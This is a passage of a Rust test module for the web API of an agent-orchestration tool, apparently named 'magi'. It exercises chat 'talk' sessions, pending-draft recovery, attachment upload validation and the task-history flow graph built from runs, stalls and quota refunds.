8119 let turns = detail["turns"].as_array().expect("turns");
8120 assert_eq!(
8121 turns.len(),
8122 2,
8123 "the recovered draft must run once: {detail}"
8124 );
8125 assert_eq!(turns[0]["body"], "corrected");
8126 assert_eq!(detail["pending"], "");
8127 }
8128
8129 #[tokio::test]
8130 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8131 let tmp = TempDir::new().expect("tempdir");
8132 let repo = tmp.path().join("repo");
8133 std::fs::create_dir_all(&repo).expect("repo dir");
8134 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8135 let f = Fixture::with_repo(repo).await;
8136 let id = f.post("/api/talks", None).await.json()["id"]
8137 .as_str()
8138 .expect("id")
8139 .to_owned();
8140 let store = f.talks();
8141 let mut recovered = store.get(&id).expect("opened talk");
8142 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8143 .expect("persist pending draft without a live turn");
8144
8145 let refused = f
8146 .post(
8147 &format!("/api/talks/{id}/say"),
8148 Some(r#"{"text":"new message"}"#),
8149 )
8150 .await;
8151 assert_eq!(refused.status, 409, "{}", refused.body);
8152 assert!(refused.body.contains("resume"), "{}", refused.body);
8153 let saved = store.get(&id).expect("draft remains after refusal");
8154 assert!(saved.turns.is_empty());
8155 assert_eq!(saved.pending, "saved before restart");
8156
8157 let say_path = format!("/api/talks/{id}/say");
8158 let (first, second) = tokio::join!(
8159 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8160 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8161 );
8162 assert_eq!(first.status, 409, "{}", first.body);
8163 assert_eq!(second.status, 409, "{}", second.body);
8164 let saved = store
8165 .get(&id)
8166 .expect("draft remains after concurrent refusals");
8167 assert!(saved.turns.is_empty());
8168 assert_eq!(saved.pending, "saved before restart");
8169
8170 let resumed = f
8171 .post(&format!("/api/talks/{id}/pending/resume"), None)
8172 .await;
8173 assert_eq!(resumed.status, 202, "{}", resumed.body);
8174 let duplicate = f
8175 .post(&format!("/api/talks/{id}/pending/resume"), None)
8176 .await;
8177 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8178
8179 for _ in 0..SETTLE_STEPS {
8180 if store.get(&id).expect("talk").turns.len() == 2 {
8181 break;
8182 }
8183 tokio::time::sleep(Duration::from_millis(10)).await;
8184 }
8185 let finished = store.get(&id).expect("finished talk");
8186 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8187 assert_eq!(finished.turns[0].body, "saved before restart");
8188 assert!(finished.pending.is_empty());
8189 }
8190
8191 #[tokio::test]
8192 async fn an_image_only_recovered_draft_resumes_without_text() {
8193 let (_tmp, _repo, f) = talk_fixture().await;
8194 let id = f.post("/api/talks", None).await.json()["id"]
8195 .as_str()
8196 .expect("id")
8197 .to_owned();
8198 let uploaded = f
8199 .post_bytes(
8200 &format!("/api/talks/{id}/attachments"),
8201 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8202 PNG_BYTES,
8203 )
8204 .await;
8205 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8206 let attachment = f
8207 .talks()
8208 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8209 .expect("attachment metadata")
8210 .expect("stored attachment");
8211 let store = f.talks();
8212 let mut recovered = store.get(&id).expect("opened talk");
8213 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8214
8215 let resumed = f
8216 .post(&format!("/api/talks/{id}/pending/resume"), None)
8217 .await;
8218 assert_eq!(resumed.status, 202, "{}", resumed.body);
8219 for _ in 0..SETTLE_STEPS {
8220 if store.get(&id).expect("talk").turns.len() == 2 {
8221 break;
8222 }
8223 tokio::time::sleep(Duration::from_millis(10)).await;
8224 }
8225 let finished = store.get(&id).expect("finished talk");
8226 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8227 assert!(finished.turns[0].body.is_empty());
8228 assert_eq!(finished.turns[0].attachments.len(), 1);
8229 assert!(finished.pending_attachments.is_empty());
8230 }
8231
8232 #[tokio::test]
8233 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8234 let (_tmp, _repo, f) = talk_fixture().await;
8235 let id = f.post("/api/talks", None).await.json()["id"]
8236 .as_str()
8237 .expect("id")
8238 .to_owned();
8239 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8240 assert_eq!(closed.status, 200, "{}", closed.body);
8241 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8242 .expect("serialize closed talk");
8243 for (path, body) in [
8244 (format!("/api/talks/{id}/pending/resume"), None),
8245 (
8246 format!("/api/talks/{id}/pending/clear"),
8247 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8248 ),
8249 (
8250 format!("/api/talks/{id}/pending/edit"),
8251 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8252 ),
8253 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8254 ] {
8255 let response = f.post(&path, body).await;
8256 assert_eq!(response.status, 409, "{}", response.body);
8257 }
8258 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8259 .expect("serialize closed talk");
8260 assert_eq!(
8261 after_clear, before_clear,
8262 "clear must not rewrite a closed talk"
8263 );
8264 }
8265
8266 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8269
8270 #[tokio::test]
8271 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8272 let tmp = TempDir::new().expect("tempdir");
8273 let repo = tmp.path().join("repo");
8274 std::fs::create_dir_all(&repo).expect("repo dir");
8275 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8276 let f = Fixture::with_repo(repo).await;
8277 let id_a = f.post("/api/talks", None).await.json()["id"]
8278 .as_str()
8279 .unwrap()
8280 .to_owned();
8281 let id_b = f.post("/api/talks", None).await.json()["id"]
8282 .as_str()
8283 .unwrap()
8284 .to_owned();
8285
8286 let a = f
8287 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8288 .await;
8289 assert_eq!(a.status, 202, "{}", a.body);
8290 assert_eq!(a.json()["thinking"], true);
8291 let b = f
8292 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8293 .await;
8294 assert_eq!(b.status, 202, "{}", b.body);
8295 assert_eq!(b.json()["thinking"], true);
8296
8297 let listed = f.get("/api/talks").await.json();
8298 for id in [&id_a, &id_b] {
8299 let view = listed
8300 .as_array()
8301 .unwrap()
8302 .iter()
8303 .find(|talk| talk["id"] == *id)
8304 .unwrap();
8305 assert_eq!(view["thinking"], true, "{listed}");
8306 }
8307 let repeated = f
8308 .post(
8309 &format!("/api/talks/{id_a}/say"),
8310 Some(r#"{"text":"again"}"#),
8311 )
8312 .await;
8313 assert_eq!(repeated.status, 202, "{}", repeated.body);
8314 assert_eq!(repeated.json()["pending"], "again");
8315 }
8316
8317 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8320
8321 #[tokio::test]
8322 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8323 let f = Fixture::start().await;
8324 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8325
8326 let res = f
8327 .post_bytes(
8328 &format!("/api/talks/{id}/attachments"),
8329 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8330 PNG_BYTES,
8331 )
8332 .await;
8333 assert_eq!(res.status, 201, "{}", res.body);
8334 let body = res.json();
8335 assert_eq!(body["name"], "shot.png");
8336 assert_eq!(body["mime"], "image/png");
8337 assert_eq!(body["bytes"], PNG_BYTES.len());
8338 let att_id = body["id"].as_str().expect("id").to_owned();
8339 assert_eq!(
8340 att_id.len(),
8341 32,
8342 "the id must never be a client-suppliable path: {att_id}"
8343 );
8344
8345 let got = f
8346 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8347 .await;
8348 assert_eq!(got.status, 200, "{}", got.body);
8349 assert_eq!(got.header("content-type"), Some("image/png"));
8350 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8351 assert_eq!(got.bytes, PNG_BYTES);
8352 }
8353
8354 #[tokio::test]
8355 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8356 let f = Fixture::start().await;
8357 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8358
8359 let svg = f
8362 .post_bytes(
8363 &format!("/api/talks/{id}/attachments"),
8364 &[("Content-Type", "image/svg+xml")],
8365 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8366 )
8367 .await;
8368 assert!(
8369 (400..500).contains(&svg.status),
8370 "svg must be refused: {} {}",
8371 svg.status,
8372 svg.body
8373 );
8374 assert!(svg.body.contains("SVG"), "{}", svg.body);
8375
8376 let text = f
8377 .post_bytes(
8378 &format!("/api/talks/{id}/attachments"),
8379 &[("Content-Type", "text/plain")],
8380 b"just some text",
8381 )
8382 .await;
8383 assert!(
8384 (400..500).contains(&text.status),
8385 "an unlisted type must be refused: {} {}",
8386 text.status,
8387 text.body
8388 );
8389
8390 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8393 let big = f
8394 .post_bytes(
8395 &format!("/api/talks/{id}/attachments"),
8396 &[("Content-Type", "image/png")],
8397 &oversized,
8398 )
8399 .await;
8400 assert_eq!(
8401 big.status,
8402 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8403 "{}",
8404 big.body
8405 );
8406 }
8407
8408 #[tokio::test]
8409 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8410 let f = Fixture::start().await;
8411 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8412
8413 let res = f
8416 .post_bytes(
8417 &format!("/api/talks/{id}/attachments"),
8418 &[("Content-Type", "image/png")],
8419 b"<html>not a picture</html>",
8420 )
8421 .await;
8422 assert!((400..500).contains(&res.status), "{}", res.body);
8423 }
8424
8425 #[tokio::test]
8426 async fn an_unknown_attachment_id_is_a_404() {
8427 let f = Fixture::start().await;
8428 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8429
8430 let res = f
8431 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8432 .await;
8433 assert_eq!(res.status, 404, "{}", res.body);
8434 }
8435
8436 #[tokio::test]
8437 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8438 let f = Fixture::start().await;
8439 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8440
8441 let uploaded = f
8442 .post_bytes(
8443 &format!("/api/talks/{id}/attachments"),
8444 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8445 PNG_BYTES,
8446 )
8447 .await;
8448 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8449 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8450
8451 let res = f
8452 .post(
8453 &format!("/api/talks/{id}/say"),
8454 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8455 )
8456 .await;
8457 assert_eq!(res.status, 202, "{}", res.body);
8458 let queued = res.json();
8459 let turns = queued["turns"].as_array().expect("turns array");
8460 assert_eq!(
8461 turns.len(),
8462 1,
8463 "an empty body with an attachment is still a turn: {queued}"
8464 );
8465 assert_eq!(turns[0]["who"], "operator");
8466 assert_eq!(turns[0]["body"], "");
8467 let atts = turns[0]["attachments"]
8468 .as_array()
8469 .expect("attachments array");
8470 assert_eq!(atts.len(), 1);
8471 assert_eq!(atts[0]["id"], att_id);
8472 assert_eq!(atts[0]["mime"], "image/png");
8473
8474 let on_disk = f.talks().get(&id).expect("get");
8477 assert_eq!(on_disk.turns[0].attachments.len(), 1);
8478 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8479 }
8480
8481 #[tokio::test]
8482 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8483 let f = Fixture::start().await;
8484 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8485
8486 let res = f
8487 .post(
8488 &format!("/api/talks/{id}/say"),
8489 Some(&format!(
8490 r#"{{"text":"hi","attachments":["{}"]}}"#,
8491 "a".repeat(32)
8492 )),
8493 )
8494 .await;
8495 assert!((400..500).contains(&res.status), "{}", res.body);
8496 assert!(res.body.contains("unknown attachment"), "{}", res.body);
8497
8498 let on_disk = f.talks().get(&id).expect("get");
8499 assert!(
8500 on_disk.turns.is_empty(),
8501 "a rejected attachment id must not partially record the turn: {:?}",
8502 on_disk.turns
8503 );
8504 }
8505
8506 #[tokio::test]
8507 async fn talk_close_makes_the_talk_refuse_further_turns() {
8508 let f = Fixture::start().await;
8509 let id = seed_talk(&f, "20260904-014455-cd34", "open");
8510
8511 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8512 assert_eq!(closed.status, 200, "{}", closed.body);
8513 assert_eq!(closed.json()["status"], "closed");
8514
8515 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8517 assert_eq!(closed_again.status, 200);
8518 assert_eq!(closed_again.json()["status"], "closed");
8519
8520 let said = f
8521 .post(
8522 &format!("/api/talks/{id}/say"),
8523 Some(r#"{"text":"too late"}"#),
8524 )
8525 .await;
8526 assert_eq!(said.status, 409, "{}", said.body);
8527 }
8528
8529 #[tokio::test]
8530 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8531 let (_tmp, _repo, f) = talk_fixture().await;
8532 let id = f.post("/api/talks", None).await.json()["id"]
8533 .as_str()
8534 .expect("id")
8535 .to_owned();
8536 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8537 assert_eq!(closed.status, 200, "{}", closed.body);
8538
8539 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8540 assert_eq!(reopened.status, 200, "{}", reopened.body);
8541 assert_eq!(reopened.json()["status"], "open");
8542
8543 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8545 assert_eq!(reopened_again.status, 200);
8546 assert_eq!(reopened_again.json()["status"], "open");
8547
8548 let said = f
8549 .post(
8550 &format!("/api/talks/{id}/say"),
8551 Some(r#"{"text":"still there?"}"#),
8552 )
8553 .await;
8554 assert_eq!(
8555 said.status, 202,
8556 "a reopened talk accepts turns again: {}",
8557 said.body
8558 );
8559 }
8560
8561 #[tokio::test]
8562 async fn talk_reopen_on_an_unknown_id_is_404() {
8563 let f = Fixture::start().await;
8564 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8565 assert_eq!(res.status, 404, "{}", res.body);
8566 }
8567
8568 #[tokio::test]
8569 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8570 let f = Fixture::start().await;
8571 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8572
8573 let deleted = f.delete(&format!("/api/talks/{id}")).await;
8574 assert_eq!(deleted.status, 204, "{}", deleted.body);
8575
8576 let after = f.get(&format!("/api/talks/{id}")).await;
8577 assert_eq!(after.status, 404, "{}", after.body);
8578
8579 let listed = f.get("/api/talks").await.json();
8580 assert!(
8581 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8582 "a deleted talk must not linger in the list: {listed}"
8583 );
8584 }
8585
8586 #[tokio::test]
8587 async fn talk_delete_on_an_unknown_id_is_404() {
8588 let f = Fixture::start().await;
8589 let res = f.delete("/api/talks/nonexistent-id").await;
8590 assert_eq!(res.status, 404, "{}", res.body);
8591 }
8592
8593 #[tokio::test]
8597 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8598 let f = Fixture::start().await;
8599 let (a, b, gone) = (
8600 "20260902-140501-aaaa",
8601 "20260902-140502-bbbb",
8602 "20260902-140503-cccc",
8603 );
8604 write_run(&f.runs(), a, RunStatus::Stalled);
8605 let mut review = RunState::new(
8606 PathBuf::from("/repo/magi"),
8607 "main".to_owned(),
8608 "0123456789abcdef".to_owned(),
8609 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8610 .to_owned(),
8611 Config::default(),
8612 );
8613 review.id = b.to_owned();
8614 review.status = RunStatus::Merged;
8615 write_state(&f.runs(), &review);
8616
8617 let mut task = Task::new(
8618 "retry".to_owned(),
8619 "Do the thing".to_owned(),
8620 PathBuf::from("/repo/magi"),
8621 Source::Human,
8622 );
8623 task.start(a.to_owned());
8624 task.stall("quota");
8625 task.start(a.to_owned());
8626 task.start(b.to_owned());
8627 task.start(gone.to_owned());
8628 f.queue().put(&mut task).expect("file the task");
8629
8630 let res = f.get(&format!("/api/queue/{}", task.id)).await;
8631 assert_eq!(res.status, 200, "{}", res.body);
8632 let v = res.json();
8633 let h = v["history"].as_array().expect("history");
8634 assert_eq!(h.len(), 4, "{v}");
8635 assert_eq!(h[0]["kind"], "competition");
8636 assert_eq!(h[0]["status"], "stalled");
8637 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8638 assert_eq!(h[1]["kind"], "resume", "{v}");
8639 assert!(
8640 h[0]["outcome"]
8641 .as_str()
8642 .unwrap()
8643 .contains("unknown. Pass #2"),
8644 "an earlier pass of a resumed run must not claim the final outcome: {v}"
8645 );
8646 assert!(
8647 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8648 "{v}"
8649 );
8650 assert!(
8651 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8652 "an unrecorded cause must not be narrated as an operator park: {v}"
8653 );
8654 assert_eq!(h[2]["kind"], "review");
8655 assert!(
8656 h[2]["description"]
8657 .as_str()
8658 .unwrap()
8659 .contains("magi/aaaa/A")
8660 );
8661 assert_eq!(h[2]["status"], "merged");
8662 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8663 assert_eq!(v["runs_unreadable"], 1);
8664 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8665 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8666 assert_eq!(nodes[4]["note"], "unreadable");
8667 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8668 assert_eq!(v["instruction"], "Do the thing");
8669 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8670
8671 let run = f.get(&format!("/api/runs/{a}")).await.json();
8673 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8674
8675 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8676 }
8677
8678 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8679 let mut s = RunState::new(
8680 PathBuf::from("/repo/magi"),
8681 "main".to_owned(),
8682 "0123456789abcdef".to_owned(),
8683 "Do it".to_owned(),
8684 Config::default(),
8685 );
8686 s.status = status;
8687 edit(&mut s);
8688 s
8689 }
8690
8691 fn flow_task(runs: &[&str]) -> Task {
8692 let mut t = Task::new(
8693 "t".to_owned(),
8694 "Do it".to_owned(),
8695 PathBuf::from("/repo/magi"),
8696 Source::Human,
8697 );
8698 for r in runs {
8699 t.start((*r).to_owned());
8700 }
8701 t
8702 }
8703
8704 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
8705 let h = task_history(task, |id| {
8706 states
8707 .iter()
8708 .find(|(i, _)| *i == id)
8709 .and_then(|(_, s)| s.clone())
8710 });
8711 task_flow(task, &h, 5)
8712 }
8713
8714 #[test]
8715 fn flow_opens_with_the_chat_that_queued_the_task() {
8716 let mut t = flow_task(&[]);
8717 t.source = Source::Agent {
8718 run: "a b/c".to_owned(),
8719 node: crate::queue::CHAT_NODE.to_owned(),
8720 };
8721 let f = flow_for(&t, &[]);
8722 assert_eq!(f.nodes[0].key, "chat");
8723 assert_eq!(f.nodes[0].kind, "chat");
8724 assert_eq!(
8725 f.nodes[0].label,
8726 format!("Chat {}", crate::queue::short("a b/c"))
8727 );
8728 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
8729 assert_eq!(f.nodes[1].key, "start");
8730 assert_eq!(
8731 f.edges[0],
8732 FlowEdge {
8733 from: "chat".to_owned(),
8734 to: "start".to_owned(),
8735 label: "queued from chat".to_owned(),
8736 attempt: AttemptCost::None,
8737 }
8738 );
8739 }
8740
8741 #[test]
8742 fn flow_has_no_chat_box_for_other_sources() {
8743 for source in [
8744 Source::Human,
8745 Source::Issue {
8746 number: 3,
8747 repo: "o/r".to_owned(),
8748 },
8749 Source::Agent {
8750 run: "20260904-014455-ab12".to_owned(),
8751 node: "implement".to_owned(),
8752 },
8753 ] {
8754 let mut t = flow_task(&[]);
8755 t.source = source;
8756 let f = flow_for(&t, &[]);
8757 assert_eq!(f.nodes[0].key, "start");
8758 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
8759 assert!(f.edges.iter().all(|e| e.from != "chat"));
8760 }
8761 }
8762
8763 const FA: &str = "20260902-140501-aaaa";
8764 const FB: &str = "20260902-140502-bbbb";
8765
8766 #[test]
8767 fn flow_follows_blocked_retry_merged_to_done() {
8768 let mut t = flow_task(&[FA, FB]);
8769 t.status = TaskStatus::Done;
8770 let f = flow_for(
8771 &t,
8772 &[
8773 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
8774 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
8775 ],
8776 );
8777 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
8778 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
8779 assert_eq!(f.edges.len(), 3);
8780 assert_eq!(f.edges[0].label, "claimed");
8781 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
8782 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8783 assert_eq!(f.edges[2].label, "merged \u{2192} done");
8784 assert_eq!(
8785 f.nodes[2].href.as_deref(),
8786 Some("#/runs/20260902-140502-bbbb")
8787 );
8788 assert!(f.nodes[2].decided);
8789 }
8790
8791 #[test]
8792 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
8793 let quota = || {
8794 flow_run(RunStatus::Stalled, |s| {
8795 s.quota.push(crate::run::QuotaLoss {
8796 seat: "judge-1".to_owned(),
8797 node: "judge".to_owned(),
8798 at: Timestamp::now(),
8799 reset: None,
8800 })
8801 })
8802 };
8803 let mut t = flow_task(&[FA, FA]);
8804 t.status = TaskStatus::Queued;
8805 let f = flow_for(&t, &[(FA, Some(quota()))]);
8806 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
8807 assert_eq!(f.nodes[1].note, Some("interrupted"));
8808 assert_eq!(
8809 f.nodes[1].status, None,
8810 "no outcome copied onto an earlier pass"
8811 );
8812 assert_eq!(
8813 f.edges[1].attempt,
8814 AttemptCost::Unknown,
8815 "a resume does not prove the earlier pass was refunded"
8816 );
8817 assert!(f.edges[1].label.contains("resume the same run"));
8818 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
8819 assert_eq!(
8820 f.edges[2].label,
8821 "stalled after a resume, refund unknown \u{2192} queued"
8822 );
8823 assert!(!f.nodes[2].decided, "a stall is not a decision");
8824 assert_eq!(f.nodes[2].note, Some("no verdict"));
8825 }
8826
8827 #[test]
8828 fn flow_single_pass_quota_stall_is_refunded() {
8829 let t = flow_task(&[FA]);
8830 let f = flow_for(
8831 &t,
8832 &[(
8833 FA,
8834 Some(flow_run(RunStatus::Stalled, |s| {
8835 s.quota.push(crate::run::QuotaLoss {
8836 seat: "judge-1".to_owned(),
8837 node: "judge".to_owned(),
8838 at: Timestamp::now(),
8839 reset: None,
8840 })
8841 })),
8842 )],
8843 );
8844 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8845 }
8846
8847 #[test]
8848 fn flow_parked_refunds_and_stall_without_quota_spends() {
8849 let mut t = flow_task(&[FA]);
8850 t.status = TaskStatus::Queued;
8851 let f = flow_for(
8852 &t,
8853 &[(
8854 FA,
8855 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
8856 )],
8857 );
8858 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
8859 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8860 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
8861 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8862 assert!(!f.nodes[1].decided);
8863 }
8864
8865 #[test]
8866 fn flow_keeps_an_unreadable_run_as_its_own_node() {
8867 let t = flow_task(&[FA, FB]);
8868 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
8869 assert_eq!(f.nodes[1].note, Some("unreadable"));
8870 assert!(!f.nodes[1].readable);
8871 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
8872 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
8873 }
8874
8875 #[test]
8876 fn flow_names_the_branch_of_a_review_only_run() {
8877 let t = flow_task(&[FA]);
8878 let f = flow_for(
8879 &t,
8880 &[(
8881 FA,
8882 Some(flow_run(RunStatus::Merged, |s| {
8883 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
8884 })),
8885 )],
8886 );
8887 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
8888 assert_eq!(
8889 f.nodes[1].detail.as_deref(),
8890 Some("review-only run of branch magi/x/A")
8891 );
8892 }
8893
8894 #[test]
8895 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
8896 let mut t = flow_task(&[FA]);
8897 t.status = TaskStatus::Held;
8898 let pr = crate::run::PrRecord {
8899 url: "https://example.test/pr/1".to_owned(),
8900 number: 1,
8901 state: "open".to_owned(),
8902 checks: "green".to_owned(),
8903 round: 0,
8904 rounds: 3,
8905 red_at_merge: Vec::new(),
8906 };
8907 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
8908 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
8909 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
8910 t.status = TaskStatus::Done;
8911 let f = flow_for(&t, &[(FA, Some(blocked))]);
8912 assert_eq!(f.edges[1].label, "closed by hand: task is done");
8913 }
8914
8915 #[test]
8916 fn flow_with_no_runs_goes_from_queued_to_queued() {
8917 let t = flow_task(&[]);
8918 let f = flow_for(&t, &[]);
8919 assert_eq!(f.nodes.len(), 2);
8920 assert_eq!(f.edges.len(), 1);
8921 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
8922 assert_eq!(f.edges[0].attempt, AttemptCost::None);
8923 }
8924
8925 #[test]
8928 fn a_parked_non_terminal_run_is_explained_as_parked() {
8929 let mut s = RunState::new(
8930 PathBuf::from("/repo/magi"),
8931 "main".to_owned(),
8932 "0123456789abcdef".to_owned(),
8933 "Do it".to_owned(),
8934 Config::default(),
8935 );
8936 s.status = RunStatus::Implementing;
8937 s.parked = true;
8938 let task = Task::new(
8939 "t".to_owned(),
8940 "Do it".to_owned(),
8941 PathBuf::from("/repo/magi"),
8942 Source::Human,
8943 );
8944 let v = task_run_view(
8945 "20260902-140501-aaaa",
8946 Some(&s),
8947 RunSlot {
8948 n: 1,
8949 resumed: false,
8950 resumed_later: None,
8951 prior: None,
8952 last: true,
8953 },
8954 &task,
8955 );
8956 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
8957 }
8958
8959 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
8960 let mut s = flow_run(RunStatus::Implementing, edit);
8961 s.parked = false;
8962 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
8963 task_run_view(
8964 "20260902-140501-aaaa",
8965 Some(&s),
8966 RunSlot {
8967 n: 1,
8968 resumed: false,
8969 resumed_later: Some(2),
8970 prior: None,
8971 last: false,
8972 },
8973 &task,
8974 )
8975 }
8976
8977 #[test]
8978 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
8979 let v = earlier_pass_view(|_| {});
8980 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
8981 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
8982 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
8983 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
8984 assert_eq!(v.exit, RunExit::Interrupted);
8985 assert_eq!(v.attempt, AttemptCost::Unknown);
8986 }
8987
8988 #[test]
8989 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
8990 let v = earlier_pass_view(|s| {
8991 s.quota.push(crate::run::QuotaLoss {
8992 seat: "judge-1".to_owned(),
8993 node: "judge".to_owned(),
8994 at: Timestamp::now(),
8995 reset: None,
8996 });
8997 });
8998 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
8999 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9000 assert_eq!(v.attempt, AttemptCost::Unknown);
9001 }
9002
9003 #[test]
9004 fn the_current_pass_states_its_recorded_cause_and_cost() {
9005 let slot = || RunSlot {
9006 n: 1,
9007 resumed: false,
9008 resumed_later: None,
9009 prior: None,
9010 last: true,
9011 };
9012 let task = flow_task(&["20260902-140501-aaaa"]);
9013 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9014 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9015 assert_eq!(
9016 (v.exit, v.attempt),
9017 (RunExit::Parked, AttemptCost::Refunded)
9018 );
9019 let spent = flow_run(RunStatus::Blocked, |_| {});
9020 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9021 assert_eq!(v.attempt, AttemptCost::Spent);
9022 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9023 }
9024
9025 #[tokio::test]
9026 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9027 let f = Fixture::start().await;
9028 let queue = f.queue();
